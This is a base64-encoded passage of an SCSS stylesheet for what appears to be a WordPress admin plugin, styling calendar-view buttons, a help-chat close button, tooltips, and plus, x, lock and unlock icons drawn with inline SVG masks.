Zy4kY2xfbWFpbjtcbiAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgICBjb2xvcjogY3VycmVudENvbG9yO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1idG4tLXNtYWxsLS1yb3VuZCB7XG4gICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICBtYXJnaW4tbGVmdDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcbiAgICB9XG4gIH1cbn1cbi5zbG4tY2FsZW5kYXItc2lkZWJhciB7XG4gIC5zbG4taGVscC1idXR0b24uc2xuLWJ0bi0tbm9ia2cge1xuICAgIGJvcmRlcjogMXB4IHNvbGlkIGN1cnJlbnRDb2xvcjtcbiAgICBib3JkZXItY29sb3I6IGN1cnJlbnRDb2xvcjtcbiAgICAmOmZvY3VzIHtcbiAgICAgIGJvcmRlci1jb2xvcjogY3VycmVudENvbG9yO1xuICAgIH1cbiAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgJjpob3ZlciB7XG4gICAgICAgIGJvcmRlci1jb2xvcjogY3VycmVudENvbG9yO1xuICAgICAgfVxuICAgIH1cbiAgfVxufVxuLnNsbi1oZWxwY2hhdF9fY2xvc2Uge1xuICBkaXNwbGF5OiBibG9jaztcbiAgd2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB0b3A6IHNldHRpbmdzLW1peGlucy5yZW0oLTYwcHgpO1xuICByaWdodDogMTJweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRzbG4tY29sb3ItLWVtcGhhc2lzO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgLyogRklYIDA5MjAyMyAqL1xuICAmOjphZnRlciB7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIHdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICBAZXh0ZW5kICVmb250LWljb247XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICBjb250ZW50OiAnXFxmMDBkJztcbiAgfVxuXG4gIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gIH1cbn1cbi8vIEhFTFAgQ0hBVCAvLyBFTkRcbi8vIFdQIEJVVFRPTlNcbiN7YWRtaW5fY29uZmlnLiR3cmFwcGVyfSB7XG4gIHAuc3VibWl0IHtcbiAgICBAZXh0ZW5kIC5zbG4tYnRuO1xuICAgIEBleHRlbmQgLnNsbi1idG4tLW1haW47XG4gICAgLy9AZXh0ZW5kIC5zbG4tYnRuLS1iaWc7XG4gICAgQGV4dGVuZCAuc2xuLWJ0bi0taWNvbjtcbiAgICBAZXh0ZW5kIC5zbG4taWNvbi0tc2F2ZTtcbiAgICBib3JkZXItcmFkaXVzOiAwO1xuICAgIG1hcmdpbi10b3A6IDUlO1xuICB9XG59XG5cbi5zbG4tZHVwLWljb24tdG9vbHRpcDo6YWZ0ZXIge1xuICBmb250LXNpemU6IDEuNXJlbTtcbiAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gIGZvbnQtd2VpZ2h0OiA0MDA7XG4gIGNvbnRlbnQ6ICdcXGYwYzUnO1xuICBmb250LXNpemU6IDEuMnJlbTtcbiAgY3Vyc29yOiBwb2ludGVyO1xuICBjb2xvcjogIzA5NzhiZDtcbn1cblxuLnNsbi1kdXAtY2xvc2UtaWNvbi10b29sdGlwIHtcbiAgY29sb3I6IGdyYXk7XG59XG5cbi5zbG4tZHVwLWNsb3NlLWljb24tdG9vbHRpcDo6YWZ0ZXIge1xuICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICBjdXJzb3I6IGRlZmF1bHQ7XG4gIGZvbnQtc2l6ZTogMS41cmVtO1xuICBmb250LWZhbWlseTogJ0ZvbnRBd2Vzb21lJztcbiAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgY29udGVudDogJ1xcZjBjNSc7XG4gIGZvbnQtc2l6ZTogMS4ycmVtO1xuICBjb2xvcjogZ3JheTtcbn1cblxuLy8gMjAyNSBDYWxlbmRhclxuXG4uc2xuLWJ0bi0tY2FsZW5kYXItdmlldy0taWNvbm9ubHkge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgQGV4dGVuZCAlZm9udC1tZWRpdW07XG4gIGZvbnQtc2l6ZTogMTRweDtcbiAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gIC8vcGFkZGluZzogMCAxMHB4O1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYi1yYWRpdXMoNTAlKTtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oYWxsIDI1MG1zKTtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICB9XG4gICYuc2xuLWJ0bi0taWNvbiB7XG4gICAgd2lkdGg6IDQwcHg7XG4gICAgaGVpZ2h0OiA0MHB4O1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgycHgpO1xuICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgJjphZnRlciB7XG4gICAgICB3aWR0aDogNDBweDtcbiAgICAgIGhlaWdodDogNDBweDtcbiAgICAgIGxpbmUtaGVpZ2h0OiA0MHB4O1xuICAgICAgbGVmdDogMDtcbiAgICAgIHRvcDogMDtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICAgIGZvbnQtc2l6ZTogMThweDtcbiAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuICAgIH1cbiAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgJjpob3ZlcjphZnRlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cblxuLnNsbi1idG4tLWNhbGVuZGFyLXZpZXctLXBpbGwge1xuICBkaXNwbGF5OiBmbGV4O1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xuICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG4gIHdpZHRoOiBhdXRvO1xuICBtYXgtd2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMjQwcHgpO1xuICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTBweCk7XG4gIHBhZGRpbmc6IDAgMCAwIDAuNXJlbTtcbiAgYm94LXNoYWRvdzogbm9uZTtcbiAgb3V0bGluZTogbm9uZTtcbiAgYm9yZGVyOiAxcHggc29saWQgY3VycmVudENvbG9yO1xuICBAZXh0ZW5kICVmb250LWJpZztcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICAmLnNsbi1jYWxlbmRhcl9fcm93X19idXR0b24ge1xuICAgIHBhZGRpbmc6IDAgMS41cmVtIDAgMXJlbTtcbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYi1yYWRpdXMoNTAlKTtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICB9XG4gICY6aG92ZXIge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICY6YWZ0ZXIsXG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7XG4gICAgfVxuICB9XG59XG5cbi5zbG4tYnRuLS1jYWxlbmRhci12aWV3LS10ZXh0b25seSB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgQGV4dGVuZCAlZm9udC1iaWc7XG4gIGJ1dHRvbiB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICB9XG4gICY6aGFzKGJ1dHRvbi5hY3RpdmUpIHtcbiAgICAvLyAmOjphZnRlciB7XG4gICAgLy8gICBjb250ZW50OiAnJztcbiAgICAvLyAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAvLyAgIGJvdHRvbTogMC4yNXJlbTtcbiAgICAvLyAgIGxlZnQ6IDAuMjVyZW07XG4gICAgLy8gICByaWdodDogMC4yNXJlbTtcbiAgICAvLyAgIHdpZHRoOiBjYWxjKDEwMCUgLSAwLjVyZW0pO1xuICAgIC8vICAgaGVpZ2h0OiAycHg7XG4gICAgLy8gICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICAvLyAgIG9wYWNpdHk6IDE7XG4gICAgLy8gICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihhbGwgMTUwbXMpO1xuICAgIC8vIH1cbiAgICBmb250LXdlaWdodDogNzAwO1xuICAgIGJ1dHRvbiB7XG4gICAgICBmb250LXdlaWdodDogNzAwO1xuICAgIH1cbiAgICAmOm5vdCg6aG92ZXIpIHtcbiAgICAgIGJ1dHRvbiB7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfdGV4dC0tbGlnaHQtLWV2aWQ7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgaW5wdXQsXG4gICAgICBidXR0b24ge1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgIH1cbiAgICAgICY6aGFzKGJ1dHRvbi5hY3RpdmUpIHtcbiAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cblxuLnNsbi1idG4tLW5ldyxcbi5zbG4tYnRuLnNsbi1idG4tLW5ldyB7XG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgY3Vyc29yOiBwb2ludGVyO1xuICB0cmFuc2l0aW9uOiBhbGwgMjUwbXMgZWFzZTtcblxuICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICY6aG92ZXIge1xuICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjA1KTtcbiAgICB9XG4gIH1cbiAgJjpub3QoLnNsbi1idG4tLWNhbGVuZGFyLXZpZXctLXBpbGwpOm5vdCguc2xuLWJ0bi0tYm9yZGVyb25seTI1KSB7XG4gICAgYm9yZGVyOiBub25lO1xuICB9XG4gICYuc2xuLWJ0bi0tdGV4dG9ubHkge1xuICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW4tLWQxO1xuICAgICY6bm90KC5zbG4tY2FsZW5kYXJfX3Jvd19fYnV0dG9uKSB7ICBcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgIH1cbiAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgJjpob3ZlciB7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgJi5zbG4tY2FsZW5kYXJfX3Jvd19fYnV0dG9uIHtcbiAgICAvLyBib3JkZXI6IDJweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfcHJvYmxlbS0tbGlnaHQ7XG4gICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICB0ZXh0LXRyYW5zZm9ybTogY2FwaXRhbGl6ZTtcbiAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgJjpob3ZlciB7XG4gICAgICAgIC8vIGJhY2tncm91bmQtY29sb3I6IGRhcmtlbihhZG1pbl9jb25maWcuJGNsX3Byb2JsZW0tLWxpZ2h0LCAyNSUpO1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvci5hZGp1c3QoYWRtaW5fY29uZmlnLiRjbF9wcm9ibGVtLS1saWdodCwgJGxpZ2h0bmVzczogLTUwJSk7XG4gICAgICAgIC8vYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX3RleHQtLWxpZ2h0O1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cblxuLnNsbi1hc3Npc3RhbnQtbW9kZSB7XG4gIC5zbG4tY2FsZW5kYXJfX3Jvd19fYnV0dG9uLm9ubHlvbmUge1xuICAgIG1hcmdpbi10b3A6IDUwcHg7XG4gIH1cbn1cblxuLnNsbi1pY29uLS1uZXcge1xuICAmLnNsbi1pY29uLS1sZWZ0IHtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICAgIGZsZXgtZGlyZWN0aW9uOiByb3ctcmV2ZXJzZTtcbiAgICBnYXA6IDAuNXJlbTtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGp1c3RpZnktY29udGVudDogc3RhcnQ7XG4gIH1cbiAgJjo6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICcnO1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICB0cmFuc2l0aW9uOiBhbGwgMjUwbXMgZWFzZS1pbi1vdXQ7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogY3VycmVudENvbG9yO1xuICB9XG59XG4uc2xuLWljb25vbmx5LW5ldyB7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfdGV4dC0tZGFya2VzdDtcbiAgJjo6YWZ0ZXIge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS1kYXJrZXN0O1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gICAgdHJhbnNpdGlvbjogYWxsIDE1MG1zIGVhc2UtaW4tb3V0O1xuICB9XG4gIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgJjpob3ZlciB7XG4gICAgICAmOjphZnRlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMjUpO1xuICAgICAgfVxuICAgIH1cbiAgfVxufVxuLnNsbi1pY29uLS1uZXctLXBsdXMgeyBcbiAgJjo6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICcnO1xuICAgIHdpZHRoOiAxLjI1ZW07XG4gICAgaGVpZ2h0OiAxLjI1ZW07XG4gICAgLXdlYmtpdC1tYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHdpZHRoPSczMicgaGVpZ2h0PSczMicgdmlld0JveD0nMCAwIDMyIDMyJyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMTYgMlYzME0yIDE2SDMwJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICBtYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHdpZHRoPSczMicgaGVpZ2h0PSczMicgdmlld0JveD0nMCAwIDMyIDMyJyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMTYgMlYzME0yIDE2SDMwJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICAtd2Via2l0LW1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgbWFzay1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAtd2Via2l0LW1hc2stc2l6ZTogY29udGFpbjtcbiAgICBtYXNrLXNpemU6IGNvbnRhaW47XG4gICAgLXdlYmtpdC1tYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG4gICAgbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICB9XG4gICYuc2xuLWljb25vbmx5LW5ldyB7XG4gICAgJjo6YWZ0ZXIge1xuICAgICAgd2lkdGg6IDEuNzVyZW07XG4gICAgICBoZWlnaHQ6IDEuNzVyZW07XG4gICAgfVxuICB9XG59XG4uc2xuLWljb24tLW5ldy0teCB7IFxuICAmOjphZnRlciB7XG4gICAgY29udGVudDogJyc7XG4gICAgd2lkdGg6IDEuMjVlbTtcbiAgICBoZWlnaHQ6IDEuMjVlbTtcbiAgICAtd2Via2l0LW1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzMyJyBoZWlnaHQ9JzMyJyB2aWV3Qm94PScwIDAgMzIgMzInIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00xNiAyVjMwTTIgMTZIMzAnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nNCcgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFJTBBXCIpO1xuICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzMyJyBoZWlnaHQ9JzMyJyB2aWV3Qm94PScwIDAgMzIgMzInIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00xNiAyVjMwTTIgMTZIMzAnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nNCcgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFJTBBXCIpO1xuICAgIC13ZWJraXQtbWFzay1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICBtYXNrLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgIC13ZWJraXQtbWFzay1zaXplOiBjb250YWluO1xuICAgIG1hc2stc2l6ZTogY29udGFpbjtcbiAgICAtd2Via2l0LW1hc2stcG9zaXRpb246IGNlbnRlcjtcbiAgICBtYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG5cbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEpIHJvdGF0ZSg0NWRlZyk7XG4gICAgdHJhbnNpdGlvbjogYWxsIDE1MG1zIGVhc2UtaW4tb3V0O1xuICB9XG4gICYuc2xuLWljb25vbmx5LW5ldyB7XG4gICAgJjo6YWZ0ZXIge1xuICAgICAgd2lkdGg6IDEuNzVyZW07XG4gICAgICBoZWlnaHQ6IDEuNzVyZW07XG4gICAgfVxuICB9XG4gIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgJjpob3ZlciB7XG4gICAgICAmOjphZnRlciB7XG4gICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yNSkgcm90YXRlKDQ1ZGVnKTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cbi5zbG4taWNvbi0tbmV3LS1sb2NrIHsgXG4gICY6OmFmdGVyIHtcbiAgICBjb250ZW50OiAnJztcbiAgICB3aWR0aDogMS4yNWVtO1xuICAgIGhlaWdodDogMS4yNWVtO1xuICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB3aWR0aD0nMzYnIGhlaWdodD0nMzgnIHZpZXdCb3g9JzAgMCAzNiAzOCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTkuMjUgMTcuMjVWMTAuMjVDOS4yNSA3LjkyOTM2IDEwLjE3MTkgNS43MDM3NiAxMS44MTI4IDQuMDYyODJDMTMuNDUzOCAyLjQyMTg3IDE1LjY3OTQgMS41IDE4IDEuNUMyMC4zMjA2IDEuNSAyMi41NDYyIDIuNDIxODcgMjQuMTg3MiA0LjA2MjgyQzI1LjgyODEgNS43MDM3NiAyNi43NSA3LjkyOTM2IDI2Ljc1IDEwLjI1VjE3LjI1TTUuNzUgMTcuMjVIMzAuMjVDMzIuMTgzIDE3LjI1IDMzLjc1IDE4LjgxNyAzMy43NSAyMC43NVYzM0MzMy43NSAzNC45MzMgMzIuMTgzIDM2LjUgMzAuMjUgMzYuNUg1Ljc1QzMuODE3IDM2LjUgMi4yNSAzNC45MzMgMi4yNSAzM1YyMC43NUMyLjI1IDE4LjgxNyAzLjgxNyAxNy4yNSA1Ljc1IDE3LjI1Wicgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSczJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0UlMEFcIik7XG4gICAgbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB3aWR0aD0nMzYnIGhlaWdodD0nMzgnIHZpZXdCb3g9JzAgMCAzNiAzOCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTkuMjUgMTcuMjVWMTAuMjVDOS4yNSA3LjkyOTM2IDEwLjE3MTkgNS43MDM3NiAxMS44MTI4IDQuMDYyODJDMTMuNDUzOCAyLjQyMTg3IDE1LjY3OTQgMS41IDE4IDEuNUMyMC4zMjA2IDEuNSAyMi41NDYyIDIuNDIxODcgMjQuMTg3MiA0LjA2MjgyQzI1LjgyODEgNS43MDM3NiAyNi43NSA3LjkyOTM2IDI2Ljc1IDEwLjI1VjE3LjI1TTUuNzUgMTcuMjVIMzAuMjVDMzIuMTgzIDE3LjI1IDMzLjc1IDE4LjgxNyAzMy43NSAyMC43NVYzM0MzMy43NSAzNC45MzMgMzIuMTgzIDM2LjUgMzAuMjUgMzYuNUg1Ljc1QzMuODE3IDM2LjUgMi4yNSAzNC45MzMgMi4yNSAzM1YyMC43NUMyLjI1IDE4LjgxNyAzLjgxNyAxNy4yNSA1Ljc1IDE3LjI1Wicgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSczJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0UlMEFcIik7XG4gICAgLXdlYmtpdC1tYXNrLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgLXdlYmtpdC1tYXNrLXNpemU6IGNvbnRhaW47XG4gICAgbWFzay1zaXplOiBjb250YWluO1xuICAgIC13ZWJraXQtbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICAgIG1hc2stcG9zaXRpb246IGNlbnRlcjtcbiAgfVxuICAmLnNsbi1pY29ub25seS1uZXcge1xuICAgICY6OmFmdGVyIHtcbiAgICAgIHdpZHRoOiAycmVtO1xuICAgICAgaGVpZ2h0OiAycmVtO1xuICAgIH1cbiAgfVxufVxuLnNsbi1pY29uLS1uZXctLXVubG9jayB7XG4gICY6OmFmdGVyIHtcbiAgICBjb250ZW50OiAnJztcbiAgICB3aWR0aDogMS4yNWVtO1xuICAgIGhlaWdodDogMS4yNWVtO1xuICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB3aWR0aD0nMjAnIGhlaWdodD0nMjAnIHZpZXdCb3g9JzAgMCAyMCAyMCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTUuODMzMzMgOS4xNjYzMVY1LjgzMjk3QzUuODMyMjkgNC43OTk2OCA2LjIxNTIzIDMuODAyODYgNi45MDc4MSAzLjAzNjAzQzcuNjAwMzkgMi4yNjkyIDguNTUzMTkgMS43ODcwNiA5LjU4MTI1IDEuNjgzMjFDMTAuNjA5MyAxLjU3OTM3IDExLjYzOTMgMS44NjEyMyAxMi40NzEyIDIuNDc0MDdDMTMuMzAzMiAzLjA4NjkxIDEzLjg3NzcgMy45ODcwMSAxNC4wODMzIDQuOTk5NjRNNC4xNjY2NyA5LjE2NjMxSDE1LjgzMzNDMTYuNzUzOCA5LjE2NjMxIDE3LjUgOS45MTI1IDE3LjUgMTAuODMzVjE2LjY2NjNDMTcuNSAxNy41ODY4IDE2Ljc1MzggMTguMzMzIDE1LjgzMzMgMTguMzMzSDQuMTY2NjdDMy4yNDYxOSAxOC4zMzMgMi41IDE3LjU4NjggMi41IDE2LjY2NjNWMTAuODMzQzIuNSA5LjkxMjUgMy4yNDYxOSA5LjE2NjMxIDQuMTY2NjcgOS4xNjYzMVonIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFJTBBXCIpO1xuICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzIwJyBoZWlnaHQ9JzIwJyB2aWV3Qm94PScwIDAgMjAgMjAnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J001LjgzMzMzIDkuMTY2MzFWNS44MzI5N0M1LjgzMjI5IDQuNzk5NjggNi4yMTUyMyAzLjgwMjg2IDYuOTA3ODEgMy4wMzYwM0M3LjYwMDM5IDIuMjY5MiA4LjU1MzE5IDEuNzg3MDYgOS41ODEyNSAxLjY4MzIxQzEwLjYwOTMgMS41NzkzNyAxMS42MzkzIDEuODYxMjMgMTIuNDcxMiAyLjQ3NDA3QzEzLjMwMzIgMy4wODY5MSAxMy44Nzc3IDMuOTg3MDEgMTQuMDgzMyA0Ljk5OTY0TTQuMTY2NjcgOS4xNjYzMUgxNS44MzMzQzE2L